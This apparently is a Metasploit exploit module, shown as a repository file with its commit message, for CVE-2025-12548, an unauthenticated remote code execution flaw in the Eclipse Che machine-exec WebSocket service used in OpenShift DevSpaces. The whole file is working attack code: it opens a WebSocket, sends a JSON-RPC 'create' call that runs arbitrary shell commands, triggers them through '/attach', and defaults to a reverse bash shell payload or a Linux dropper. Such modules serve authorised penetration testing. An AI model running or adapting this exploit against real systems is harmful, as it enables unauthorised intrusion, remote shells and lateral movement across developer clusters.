1f55aa724a
- Use CheckCode::Appears instead of CheckCode::Vulnerable per convention - Add ARTIFACTS_ON_DISK to SideEffects for dropper target - Simplify connect call by removing unnecessary uri argument
271 lines
8.4 KiB
Ruby
271 lines
8.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Rex::Proto::Http::WebSocket
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Eclipse Che machine-exec Unauthenticated RCE',
|
|
'Description' => %q{
|
|
This module exploits an unauthenticated remote code execution vulnerability
|
|
in the Eclipse Che machine-exec service (CVE-2025-12548). The machine-exec
|
|
service, exposed on port 3333 within Red Hat OpenShift DevSpaces developer
|
|
workspace containers, accepts WebSocket connections without authentication.
|
|
|
|
An attacker can connect to the machine-exec service and execute arbitrary
|
|
commands via JSON-RPC over WebSocket. This allows lateral movement between
|
|
workspaces and potential cluster compromise.
|
|
|
|
The vulnerability affects Red Hat OpenShift DevSpaces environments where
|
|
the machine-exec service is network-accessible.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Richard Leach', # Vulnerability discovery
|
|
'Greg Durys <gregdurys.security@proton.me>' # PoC and Metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2025-12548'],
|
|
['URL', 'https://access.redhat.com/security/cve/cve-2025-12548'],
|
|
['URL', 'https://github.com/eclipse-che/che-machine-exec']
|
|
],
|
|
'DisclosureDate' => '2025-12-01',
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_cmd,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Linux Dropper',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64],
|
|
'Type' => :linux_dropper
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'RPORT' => 3333,
|
|
'WfsDelay' => 10
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'Base path to machine-exec service', '/']),
|
|
OptInt.new('WS_TIMEOUT', [true, 'Timeout for WebSocket operations (seconds)', 10])
|
|
])
|
|
end
|
|
|
|
# Safely close a WebSocket connection, ignoring any errors
|
|
def safe_wsclose(wsock)
|
|
wsock&.wsclose
|
|
rescue StandardError
|
|
nil
|
|
end
|
|
|
|
# Connect to WebSocket and return socket plus any leftover data from HTTP response.
|
|
# The machine-exec server sends the hello message immediately after the upgrade,
|
|
# which gets absorbed into the HTTP response body during parsing.
|
|
def connect_ws_with_leftover(uri)
|
|
ws_key = Rex::Text.encode_base64(SecureRandom.bytes(16))
|
|
|
|
http_client = connect
|
|
raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Failed to connect') if http_client.nil?
|
|
|
|
req = http_client.request_raw({
|
|
'uri' => uri,
|
|
'headers' => {
|
|
'Connection' => 'Upgrade',
|
|
'Upgrade' => 'websocket',
|
|
'Sec-WebSocket-Version' => '13',
|
|
'Sec-WebSocket-Key' => ws_key
|
|
}
|
|
})
|
|
|
|
http_client.send_request(req)
|
|
res = http_client.read_response(datastore['WS_TIMEOUT'])
|
|
|
|
unless res&.code == 101
|
|
http_client.close
|
|
raise Rex::Proto::Http::WebSocket::ConnectionError.new(http_response: res)
|
|
end
|
|
|
|
# WebSocket GUID (see: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-WebSocket-Accept)
|
|
accept_key = Rex::Text.encode_base64(OpenSSL::Digest::SHA1.digest(ws_key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'))
|
|
unless res.headers['Sec-WebSocket-Accept'] == accept_key
|
|
http_client.close
|
|
raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Invalid Sec-WebSocket-Accept header', http_response: res)
|
|
end
|
|
|
|
socket = http_client.conn
|
|
socket.extend(Rex::Proto::Http::WebSocket::Interface)
|
|
|
|
leftover = res.body.to_s
|
|
vprint_status("Response body length: #{leftover.length}, body: #{leftover[0..100].inspect}")
|
|
|
|
# The hello frame may arrive in the HTTP response body or shortly after.
|
|
# If absorbed into the body, parse the raw frame bytes to extract the payload.
|
|
# Otherwise, read a frame from the socket directly.
|
|
if leftover.present?
|
|
hello = parse_ws_frame(leftover)
|
|
else
|
|
frame = begin
|
|
::Timeout.timeout(datastore['WS_TIMEOUT']) { socket.get_wsframe }
|
|
rescue ::Timeout::Error
|
|
nil
|
|
end
|
|
if frame
|
|
frame.unmask! if frame.header.masked == 1
|
|
hello = frame.payload_data.to_s
|
|
end
|
|
end
|
|
|
|
[socket, hello]
|
|
end
|
|
|
|
# Parse a WebSocket frame from raw data
|
|
def parse_ws_frame(data)
|
|
return nil if data.blank?
|
|
|
|
frame = Rex::Proto::Http::WebSocket::Frame.new
|
|
frame.read(data)
|
|
frame.unmask! if frame.header.masked == 1
|
|
frame.payload_data.to_s
|
|
end
|
|
|
|
def check
|
|
begin
|
|
wsock, hello = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect'))
|
|
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
|
|
return CheckCode::Unknown("WebSocket connection failed: #{e.message}")
|
|
end
|
|
|
|
if hello.blank?
|
|
safe_wsclose(wsock)
|
|
return CheckCode::Unknown('No hello message received from service')
|
|
end
|
|
|
|
begin
|
|
json = JSON.parse(hello)
|
|
if json['method'] == 'connected' && json.dig('params', 'tunnel')
|
|
safe_wsclose(wsock)
|
|
return CheckCode::Appears('machine-exec service accepts unauthenticated connections')
|
|
end
|
|
rescue JSON::ParserError
|
|
nil
|
|
end
|
|
|
|
safe_wsclose(wsock)
|
|
CheckCode::Safe('Service did not respond as expected')
|
|
end
|
|
|
|
def exploit
|
|
case target['Type']
|
|
when :unix_cmd
|
|
execute_command(payload.encoded)
|
|
when :linux_dropper
|
|
execute_cmdstager
|
|
end
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
print_status('Connecting to machine-exec service...')
|
|
|
|
begin
|
|
wsock, hello = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect'))
|
|
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
|
|
fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}")
|
|
end
|
|
|
|
print_good('Connected to machine-exec service')
|
|
|
|
if hello.blank?
|
|
safe_wsclose(wsock)
|
|
fail_with(Failure::UnexpectedReply, 'No hello message received')
|
|
end
|
|
vprint_status("Received hello: #{hello}")
|
|
|
|
print_status('Staging payload via JSON-RPC create method...')
|
|
|
|
create_request = {
|
|
'jsonrpc' => '2.0',
|
|
'method' => 'create',
|
|
'params' => {
|
|
'cmd' => ['sh', '-c', cmd],
|
|
'type' => 'process'
|
|
},
|
|
'id' => 1
|
|
}
|
|
|
|
wsock.put_wstext(create_request.to_json)
|
|
|
|
frame = begin
|
|
::Timeout.timeout(datastore['WS_TIMEOUT']) { wsock.get_wsframe }
|
|
rescue ::Timeout::Error
|
|
nil
|
|
end
|
|
|
|
if frame.nil?
|
|
safe_wsclose(wsock)
|
|
fail_with(Failure::UnexpectedReply, 'No response to create request')
|
|
end
|
|
|
|
frame.unmask! if frame.header.masked == 1
|
|
response_data = frame.payload_data.to_s
|
|
|
|
begin
|
|
response = JSON.parse(response_data)
|
|
process_id = response['result']
|
|
if process_id.nil?
|
|
error_msg = response.dig('error', 'message') || 'Unknown error'
|
|
safe_wsclose(wsock)
|
|
fail_with(Failure::UnexpectedReply, "Failed to stage command: #{error_msg}")
|
|
end
|
|
print_good("Command staged with process ID: #{process_id}")
|
|
rescue JSON::ParserError
|
|
safe_wsclose(wsock)
|
|
fail_with(Failure::UnexpectedReply, 'Invalid JSON response')
|
|
end
|
|
|
|
safe_wsclose(wsock)
|
|
|
|
print_status("Triggering execution via /attach/#{process_id}...")
|
|
|
|
begin
|
|
wsock_attach = connect_ws({
|
|
'uri' => normalize_uri(target_uri.path, 'attach', process_id.to_s)
|
|
})
|
|
print_good('Payload triggered!')
|
|
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
|
|
fail_with(Failure::UnexpectedReply, "Failed to trigger execution: #{e.message}")
|
|
end
|
|
|
|
safe_wsclose(wsock_attach)
|
|
end
|
|
end
|